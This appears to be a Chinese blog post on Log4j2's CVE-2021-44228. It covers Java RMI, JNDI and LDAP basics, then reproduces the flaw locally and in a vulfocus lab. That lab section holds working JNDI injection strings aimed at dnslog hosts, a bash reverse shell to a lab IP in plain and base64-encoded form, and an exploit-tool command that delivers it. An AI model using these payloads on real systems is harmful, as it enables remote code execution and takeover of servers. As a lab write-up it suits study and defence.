概述
前言:我是觉得这个
RMI、JNDI、LDAP介绍+log4j漏洞分析:https://blog.csdn.net/HBohan/article/details/123181812
⬆️主要参考文章
RMI
Remote Method Invocatioon,也就是远程方法调用,
和RPC(Remote Procedure Call)很像,RMI算是JAVA定制版RPC。
一个完整的RMI调用过程,需要下面几个部分
注册服务
RMIServer
客户端
接口
实现接口的类
注册服务代码:
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;
//1、先启动Register服务
public class RegServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(8000);//registry使用8000端口
} catch (RemoteException e) {
e.printStackTrace();
}
CountDownLatch cd =new CountDownLatch(1);
try {
cd.await();//挂起主线程,否则应用会退出
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
接口和接口实现类:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteIntF extends Remote {
String sayHello(String from_the_out_side) throws RemoteException;
}
//----------接口实现类
import java.rmi.RemoteException;
public class RemoteImp implements RemoteIntF {
public String sayHello(String name) throws RemoteException{
return String.format("hello, %s!",name);
}
}
RMI服务代码:
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
//2、启动RMI去连接Register服务,并将Name和存根stub 发送给Register服务
public class RMI {
public static void main(String[] args) {
RemoteImp remotehello = new RemoteImp();
try {
RemoteIntF stub = (RemoteIntF) UnicastRemoteObject.exportObject(remotehello,4000);//导出服务,使用4000端口
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8000);//获取registry
registry.bind("laotie",stub);//使用名字laotie,将服务注册到registry
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
}
}
}
客户端代码:
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//3、启动Client,连接Register服务,根据Name获取到对应存根,再通过存根调用sayHello(“from the out side”)
public class Client {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8000);//获取注册中心引用
RemoteIntF remotehello = (RemoteIntF) registry.lookup("laotie");//获取remotehello服务
System.out.println(remotehello.sayHello("from the out side"));//调用远程方法
} catch (RemoteException | NotBoundException e) {
e.printStackTrace();
}
}
}
执行流程如下:依次运行下面3个类的main方法
1、首先开启注册服务RegServer
2、RMI创建实现接口的类的对象,并在注册服务中注册
3、Client客户端从注册服务调用接口里的方法
RegServer运行后状态:是不会自动停止的
RMI 同
Client运行结果:
不用的时候,记得手动关闭
还有⬆️代码的简化版本,见原博文。
JNDI
Java Naming and Directory Interfac, java命名和目录接口。
Naming指命名服务,Directory指目录服务。
命名服务
通过对资源的命名,便于下次调用资源更方便(所以这里的Naming要唯一)。为每一个名字绑定了一个资源。
例如上面的例子中的注册服务,就属于命名服务将laotie绑定RemoteImpl对象,在使用时,直接通过名字laotie就可以获取到RemoteImpl的存根stub。
目录服务
和命名服务很像,但更复杂,可以理解为一个清单,清单上有各种资源,每个资源又有自己的清单。
和计算机上的目录很像,打开一个文件夹,可以看见下一层目录,再打开一个文件夹,又可以看见下一层目录。
dns
就是目录服务,那它为什么属于目录服务,而不属于命名服务呢?
因为:在查询dns时,本地dns服务器去请求dns根服务器然后再请求.com服务器,在请求163.com服务器,最后获得地址。
目录服务使用树形结构,这种结构优点是查询效率特别高,所以目录服务的优点之一就是查询效率特别高;缺点就是写数据慢,它可以是一种属性结构的数据库,也可以是上面那种分布式的目录服务。
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。
J2EE规定了J2EE容器都要实现JNDI接口。
在实际使用时,在J2EE容器中配置JNDI参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用。
一个mysql的配置文件示例如图,数据源名称就是MySqlDS
<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
<jndi-name>MySqlDS</jndi-name>
<connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
<driver-class>com.mysql.jdbc.Driver</driver-class>
<user-name>root</user-name>
<password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
<metadata>
<type-mapping>mySQL</type-mapping>
</metadata>
</local-tx-datasource>
</datasources>
在使用时:
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();
通过JNDI统一的接口,只需要配置好数据源,在使用时,只需要调用lookup方法,查询数据源名称就可以获得数据源。
使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了。
LDAP
LDAP(Light Directory Access Portocol),是一种协议,它是基于X.500标准的跨平台的 轻量级目录访问协议
,也是通过树形结构。
LDAP的中心概念是信息模型,它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目(即树的一个Node)进行,该条目是具有类型和值的属性的集合。 条目以树状结构组织,称为目录信息树。 这些条目是围绕现实世界的概念,组织,人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP中的专有名称从下至上读取。 左侧部分称为相对专有名称,右侧部分为基本专有名称。
LDAP协议主要用于单点登录SSO(Single Sign on),可以用于SSO,但不等与SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等。如图
log4j复现
环境准备:
创建maven项目,添加依赖
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
创建类
package log2jfx;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2Vul {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
logger.error("${jndi:ldap://xxing.org.cn}");
}
}
运行,成功收到dns请求
使用的dnslog一开始看到这个IP地址也不是我的出口IP呀,就觉得可能别人用混了什么的。
就用了goby的dnslog插件,听说这样的话别人就不会用混什么的,结果还是那个IP,然后我就麻了。
试了好几遍,都能接收到请求,我肯定是成功了的。
写到这,我才恍然大明白,goby里不也是dnslog嘛,能跟网站上有啥不一样。
俺来不知道,就这吧嘻嘻
复现方式2
https://cloud.tencent.com/developer/article/1917856
搭建一个jndi服务
https://github.com/feihong-cs/JNDIExploit
或者去
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5
去刚下载的文件里面找到JNDIExploit-1.2-SNAPSHOT.jar
所在的文件夹,并使用终端打开,执行以下命令。
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地的ip地址/VPS地址
https://github.com/welk1n/JNDI-Injection-Exploit
nc监听
复现方式3–vulfocus靶场
https://blog.csdn.net/csd_ct/article/details/121158165
拉取镜像
docker pull vulfocus/vulfocus:latest
运行
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.9.90 vulfocus/vulfocus
VUL_IP值为 Docker 服务器 IP ,不能为 127.0.0.1。
启动出现问题
手动启动下试试
启动容器后,输入IP访问(我的看样子,不知道有什么问题出现了)
默认登录密码为:admin/admin,登录成功后,进入镜像管理,一键同步,就可以同步官网镜像了(果然是有问题,俺获取不到,哭唧唧
点击添加,找到要的镜像后,会自动下载镜像
哎嘿,我又可以了
在首页,启动靶场
访问地址
就是这个
burp抓包,提示参数为payload
先用dnslog验证一下
${jndi:ldap://rgje7p.dnslog.cn}
//进行url编码
%24%7Bjndi%3Aldap%3A%2F%2Frgje7p.dnslog.cn%7D
验证成功
漏洞利用
在虚拟机开启监听
//构造反弹shell命令
bash -i >& /dev/tcp/192.168.9.187/1234 0>&1
//由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
//加密方式见[原文链接](https://blog.csdn.net/yang1234567898/article/details/124255931)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
使用jdni注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"
//即
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkuMTg3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.9.90"
//192.168.9.90就是运行这条命令得电脑IP
${jndi:rmi://192.168.9.90:1099/5q6nbt}
算逑,数据发过去一直在waiting
啥都没listen到
仿佛出了什么错
原理分析
https://su18.org/post/log4j2/
https://www.yuque.com/yq1ng/java/pbica2#xrVeI
Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。 CVE 编号:CVE-2021-44228
浅谈Log4j2信息泄露与不出网回显:https://xz.aliyun.com/t/10659
idea生成jar文件
https://blog.csdn.net/qq_33942040/article/details/123292824
1、打开模块设置
2、选模块
3、选主类以及生成的文件在哪个地方
4、选择“包含在项目构建中”然后点击apply
5、编译生成
6、build
7、就在这里啦
另:
最后
以上就是孤独棒球为你收集整理的log4j漏洞复现及前置知识的全部内容,希望文章能够帮你解决log4j漏洞复现及前置知识所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复